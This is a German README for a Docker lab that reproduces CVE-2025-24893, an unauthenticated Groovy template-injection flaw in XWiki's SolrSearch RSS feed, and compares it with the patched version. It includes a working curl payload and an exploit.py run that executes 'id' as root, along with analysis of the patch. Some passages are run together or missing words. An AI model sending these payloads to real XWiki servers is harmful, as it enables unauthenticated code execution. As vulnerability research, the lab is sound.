
In sich geschlossenes Docker-Labor, das CVE-2025-24893 reproduziert – eine nicht authentifizierte SSTI-to-RCE-Schwachstelle in XWiki SolrSearch – und das Verhalten der verwundbaren mit der gepatchten Version vergleicht.
Ein in sich geschlossenes Docker-Labor, das CVE-2025-24893 reproduziert, eine Server-Side-Template- Injection im SolrSearch-RSS-Feed von XWiki, die zu nicht authentifizierter Remote-Codeausführung führt. Es führt die verwundbare Version 15.10.10 und die gepatchte Version 15.10.11 aus, sodass dieselbe Anfrage auf der einen Seite erfolgreich und auf der anderen Seite fehlschlagend gezeigt werden kann.
Hinweis zur Verwendung von KI-Werkzeugen. Bei der Vorbereitung dieses Projekts habe ich in begrenztem Umfang zwei KI-Assistenten eingesetzt --- Anthropics Claude Opus 4.8 und DeepSeek-V4-Flash-0731 --- für Recherche zu Dokumentation und Vorgehensweise, für Code-Review und für die sprachliche Überarbeitung der README.md-Datei und des LaTeX-Berichts. Ihr Beitrag war marginal und strikt meinen eigenen Entscheidungen untergeordnet.
docker compose-Unterbefehl, nicht die alte
docker-compose-Binärdatei). Halten Sie die Versionen für den Bericht mit docker --version
und docker compose version fest.tomcat:9-jre17,
mysql:8.4 und der reine Java-JDBC-Treiber sind alle Multi-Arch.cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
Der einzige Unterschied zwischen den beiden Stacks ist die XWiki-Version. Alles andere, einschließlich des Datenbank-Images und des JDBC-Treibers, ist identisch, sodass jede Verhaltensänderung auf den Fix zurückzuführen ist und auf sonst nichts.
Erstellen und starten:
docker compose -f docker-compose.vuln.yml up --build -d
Der erste Build lädt XWiki herunter und entpackt es, was einige Minuten dauert. Warten Sie, bis Tomcat den Start meldet:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
Schließen Sie die einmalige Ersteinrichtung ab: Öffnen Sie http://localhost:8080 und führen Sie den Distribution Wizard aus (installieren Sie den Standard-Flavor XWiki Standard). Dadurch wird die SolrSearch-Oberfläche bereitgestellt, die der Exploit angreift. Der Endpunkt ist für Gäste erreichbar, sodass der Angriff selbst kein Login benötigt; dieser anfängliche Einrichtungsschritt ist der einzige, der eines erfordert.
Exploit ausführen (ohne Authentifizierung):
python3 exploit.py http://localhost:8080
Erwartete Ausgabe auf dem verwundbaren Stack:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
Optional zeigen, dass die Ausführung mit einem schreibgeschützten Befehl bis zum Betriebssystem vordringt:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
Dieselbe Anfrage als einfacher curl-Einzeiler:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
Halten Sie einen Screenshot der Ausgabe für den Bericht fest und fahren Sie dann herunter:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
Führen Sie den Distribution Wizard unter http://localhost:8080 erneut aus und starten Sie dann den identischen Exploit:
python3 exploit.py http://localhost:8080
Erwartete Ausgabe auf dem gepatchten Stack:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
Halten Sie auch diesen Screenshot fest und setzen Sie dann zurück:
docker compose -f docker-compose.patched.yml down -v
In 15.10.10 gibt der Feed-Ausgabeblock den Feed als reinen Velocity-Ausdruck aus
($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), sodass der Feed - der den Suchtext des Benutzers
widerspiegelt - erneut durch die Rendering-Pipeline von XWiki geleitet wird, wo ein eingebettetes
{{groovy}}-Makro ausgeführt wird. In 15.10.11 wird dieser Block durch einen Aufruf eines neuen
rawResponse-Makros ersetzt (SolrSearchMacros.xml Zeile 954; das Makro ist in templates/macros.vm
definiert). rawResponse setzt den Inhaltstyp explizit (application/rss+xml), schreibt die Feed-Bytes
direkt mit $response.writer.print(...) in die Antwort und ruft $xcontext.setFinished(true) auf, um
jedes weitere Rendering zu stoppen, sodass der Feed unverändert gesendet wird und der eingebettete
{{groovy}}-Block niemals ausgewertet wird. Patch-Commit 67021db9b8ed26c2236a653269302a86bf01ef40,
Advisory GHSA-rr6p-3pfg-562j. Das Advisory enthält auch einen manuellen Workaround: Bearbeiten Sie
, um dasselbe -Muster zu verwenden, wodurch die Schwachstelle ohne
Upgrade geschlossen wird.
tomcat:9-jre17, die Datenbank mysql:8.4 und der Port 8080.docker compose -f <file> down -v zurück; das nächste up initialisiert
von Grund auf neu.xwiki/xwiki, root xwiki-root) gelten nur für dieses lokale Labor.for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) und
mysql/init.sql sind aus dem offiziellen Build von XWiki angepasst oder übernommen,
https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). Das Dockerfile unterscheidet sich in drei
kleinen, dokumentierten Punkten vom Upstream-Image: (1) Die XWiki- und JDBC-Version sowie die Prüfsumme
werden als Build-Argumente übergeben, sodass eine Datei sowohl das verwundbare als auch das gepatchte
Image baut; (2) ein explizites chmod +x stellt sicher, dass der Entrypoint ausführbar ist, selbst wenn
Unix-Berechtigungen beim Entpacken oder Übertragen der Dateien verloren gehen; und (3) ein veralteter
Upstream-Kommentar, der sich auf eine .env-Datei bezieht (hier ungenutzt), wurde korrigiert. XWiki ist
urheberrechtlich geschützt durch das XWiki Development Team.
Main.SolrSearchMacrosrawResponse